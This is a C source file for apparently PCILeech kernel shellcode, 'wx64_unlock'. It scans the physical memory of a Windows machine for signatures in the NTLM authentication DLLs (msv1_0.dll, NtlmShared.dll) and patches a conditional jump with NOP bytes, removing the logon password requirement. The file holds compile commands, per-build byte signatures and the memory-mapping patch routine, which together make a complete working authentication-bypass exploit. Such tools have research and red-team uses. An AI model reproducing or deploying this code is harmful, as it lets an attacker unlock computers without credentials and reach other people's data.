// wx64_unlock.c : kernel code to remove the password requirement when logging on to Windows. // // (c) Ulf Frisk, 2016 // Author: Ulf Frisk, pcileech@frizk.net // // compile with (normal mode): // cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c // cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_unlock.c // ml64.exe wx64_common_a.asm /Fewx64_unlock.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_unlock.obj wx64_common.obj // shellcode64.exe -o wx64_unlock.exe "WINDOWS UNLOCKER - REMOVE PASSWORD REQUIREMENT! \n===============================================================\nREQUIRED OPTIONS: \n -0 : Set to one (1) in order to unlock. \n Example: '-0 1'. \n===== RESULT AFTER UNLOCK ATTEMPT (0=SUCCESS) =================%s\nNTSTATUS : 0x%08X \n===============================================================\n" // // compile with (standalone [8051] mode): // cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c // cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_unlock.c // ml64.exe wx64_unlock_standalone.asm /Fewx64_unlock.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_unlock.obj wx64_common.obj // shellcode64.exe -o wx64_unlock.exe "DUMMY" // #include "wx64_common.h" // ----------------------------- KERNEL DEFINES AND TYPEDEFS BELOW ----------------------------- typedef __int64 PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; typedef struct _PHYSICAL_MEMORY_RANGE { QWORD BaseAddress; QWORD NumberOfBytes; } PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE; #pragma pack(push, 1) /* DISABLE STRUCT PADDINGS (REENABLE AFTER STRUCT DEFINITIONS) */ typedef struct _IDT_DESCRIPTOR { DWORD dwOpaque1; QWORD qwAddressISR; DWORD dwOpaque2; } IDT_DESCRIPTOR, *PIDT_DESCRIPTOR; typedef struct _IDTR { WORD nBytes; PIDT_DESCRIPTOR pIDT_DESCRIPTOR; } IDTR, *PIDTR; #pragma pack(pop) /* RE-ENABLE STRUCT PADDINGS */ //---------------------------------------------------------------------------------------------------------- #undef RtlCompareMemory #undef RtlCopyMemory typedef struct tdKERNEL_FUNCTIONS2 { VOID(*ExFreePool)( _In_ PVOID P); PHYSICAL_ADDRESS(*MmGetPhysicalAddress)( _In_ PVOID BaseAddress ); PPHYSICAL_MEMORY_RANGE(*MmGetPhysicalMemoryRanges)( VOID ); PVOID(*MmMapIoSpace)( _In_ PHYSICAL_ADDRESS PhysicalAddress, _In_ SIZE_T NumberOfBytes, _In_ MEMORY_CACHING_TYPE CacheType ); VOID(*MmUnmapIoSpace)( _In_ PVOID BaseAddress, _In_ SIZE_T NumberOfBytes ); SIZE_T(*RtlCompareMemory)( _In_ const VOID *Source1, _In_ const VOID *Source2, _In_ SIZE_T Length ); VOID(*RtlCopyMemory)( _Out_ VOID UNALIGNED *Destination, _In_ const VOID UNALIGNED *Source, _In_ SIZE_T Length ); } KERNEL_FUNCTIONS2, *PKERNEL_FUNCTIONS2; VOID InitializeKernelFunctions2(_In_ QWORD qwNtosBase, _Out_ PKERNEL_FUNCTIONS2 fnk2) { QWORD FUNC2[][2] = { { &fnk2->ExFreePool, H_ExFreePool }, { &fnk2->MmGetPhysicalAddress, H_MmGetPhysicalAddress }, { &fnk2->MmGetPhysicalMemoryRanges, H_MmGetPhysicalMemoryRanges }, { &fnk2->MmMapIoSpace, H_MmMapIoSpace }, { &fnk2->MmUnmapIoSpace, H_MmUnmapIoSpace }, { &fnk2->RtlCompareMemory, H_RtlCompareMemory }, { &fnk2->RtlCopyMemory, H_RtlCopyMemory } }; for(QWORD j = 0; j < (sizeof(FUNC2) / sizeof(QWORD[2])); j++) { *(PQWORD)FUNC2[j][0] = PEGetProcAddressH(qwNtosBase, (DWORD)FUNC2[j][1]); } } //---------------------------------------------------------------------------------------------------------- typedef struct tdSignatureChunk { WORD cbOffset; BYTE cb; BYTE pb[6]; } SIGNATURE_CHUNK, *PSIGNATURE_CHUNK; typedef struct tdSignature { // in unlock mode: // chunk[0] = signature chunk 1 (required) // chunk[1] = signature chunk 2 (optional) // chunk[2] = patch chunk (required) SIGNATURE_CHUNK chunk[3]; } SIGNATURE, *PSIGNATURE; //---------------------------------------------------------------------------------------------------------- NTSTATUS Unlock_FindAndPatch(_In_ PKERNEL_FUNCTIONS2 fnk2, _Inout_ PBYTE pbPages, _In_ DWORD cPages, _In_ PSIGNATURE pSignatures, _In_ DWORD cSignatures) { PBYTE pb; DWORD pgIdx, i; PSIGNATURE ps; for(pgIdx = 0; pgIdx < cPages; pgIdx++) { pb = pbPages + (4096 * pgIdx); for(i = 0; i < cSignatures; i++) { ps = pSignatures + i; if(!ps->chunk[0].cb || (ps->chunk[0].cb != fnk2->RtlCompareMemory(pb + ps->chunk[0].cbOffset, ps->chunk[0].pb, ps->chunk[0].cb))) { continue; } if(ps->chunk[1].cb && (ps->chunk[1].cb != fnk2->RtlCompareMemory(pb + ps->chunk[1].cbOffset, ps->chunk[1].pb, ps->chunk[1].cb))) { continue; } fnk2->RtlCopyMemory(pb + ps->chunk[2].cbOffset, ps->chunk[2].pb, ps->chunk[2].cb); return S_OK; } } return E_FAIL; } #define NUMBER_OF_SIGNATURES 6 NTSTATUS Unlock(_In_ QWORD qwAddrNtosBase) { SIGNATURE oSigs[NUMBER_OF_SIGNATURES] = { { .chunk = { // win8.1x64 msv1_0.dll (2014-10-29) { .cbOffset = 0x5df,.cb = 4,.pb = { 0xFF, 0x15, 0x42, 0xA4 } }, { .cbOffset = 0x5e8,.cb = 4,.pb = { 0x0F, 0x85, 0x46, 0x88 } }, { .cbOffset = 0x5e8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } }, { .chunk = { // win8.1x64 msv1_0.dll (2015-10-30) { .cbOffset = 0x5df,.cb = 4,.pb = { 0xFF, 0x15, 0xC2, 0x07 } }, { .cbOffset = 0x5e8,.cb = 4,.pb = { 0x0F, 0x85, 0xCE, 0xBC } }, { .cbOffset = 0x5e8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } }, { .chunk = { // win8.1x64 msv1_0.dll (2016-03-16) { .cbOffset = 0x5df,.cb = 4,.pb = { 0xFF, 0x15, 0x22, 0x04 } }, { .cbOffset = 0x5e8,.cb = 4,.pb = { 0x0F, 0x85, 0xB2, 0xB9 } }, { .cbOffset = 0x5e8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } }, { .chunk = { // win10x64 NtlmShared.dll (2015-07-10) { .cbOffset = 0x5df,.cb = 4,.pb = { 0xff, 0x15, 0x4b, 0x1c } }, { .cbOffset = 0x5e8,.cb = 4,.pb = { 0x0f, 0x85, 0x18, 0xfb } }, { .cbOffset = 0x5e8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } }, { .chunk = { // win10x64 NtlmShared.dll (2015-10-30::10.0.10586.0) { .cbOffset = 0x62f,.cb = 4,.pb = { 0xff, 0x15, 0xb3, 0x1b } }, { .cbOffset = 0x638,.cb = 4,.pb = { 0x0f, 0x85, 0x18, 0xfb } }, { .cbOffset = 0x638,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } }, { .chunk = { // win10x64 NtlmShared.dll (2016-07-16::10.0.14393.0) { .cbOffset = 0x6df,.cb = 4,.pb = { 0xff, 0x15, 0xd3, 0x1b } }, { .cbOffset = 0x6e8,.cb = 4,.pb = { 0x0f, 0x85, 0x18, 0xfb } }, { .cbOffset = 0x6e8,.cb = 6,.pb = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 } } } } }; KERNEL_FUNCTIONS2 fnk2; PPHYSICAL_MEMORY_RANGE pMemMap, pMM; SIZE_T i, cMemMap; QWORD qwBaseAddress = 0; PVOID pvMemory; NTSTATUS nt; // 1: Intialize function table InitializeKernelFunctions2(qwAddrNtosBase, &fnk2); // 2: Retrieve physical memory map pMemMap = fnk2.MmGetPhysicalMemoryRanges(); if(pMemMap == NULL) { return E_FAIL; } for(cMemMap = 0; pMemMap[cMemMap].BaseAddress || pMemMap[cMemMap].NumberOfBytes; cMemMap++); // 3: Search memory and unlock if signature is found while(qwBaseAddress + 0x100000 <= pMemMap[cMemMap - 1].BaseAddress + pMemMap[cMemMap - 1].NumberOfBytes) { for(i = 0; i < cMemMap; i++) { pMM = &pMemMap[i]; if(((pMM->BaseAddress < qwBaseAddress) && (pMM->BaseAddress + pMM->NumberOfBytes > qwBaseAddress + 0x100000))) { // is inside range! pvMemory = fnk2.MmMapIoSpace(qwBaseAddress, 0x100000, 0); if(pvMemory) { nt = Unlock_FindAndPatch(&fnk2, pvMemory, 0x100000 / 0x1000, oSigs, NUMBER_OF_SIGNATURES); fnk2.MmUnmapIoSpace(pvMemory, 0x100000); if(NT_SUCCESS(nt)) { // found and patched! - exit! goto cleanup; } } break; } } qwBaseAddress += 0x100000; } nt = E_FAIL; cleanup: fnk2.ExFreePool(pMemMap); return nt; } VOID c_EntryPoint(_In_ PKMDDATA pk) { if(pk->dataIn[0] == 1) { pk->dataOut[0] = (QWORD)Unlock(pk->AddrKernelBase); } else { pk->dataOut[0] = ERROR_INVALID_PARAMETER; } }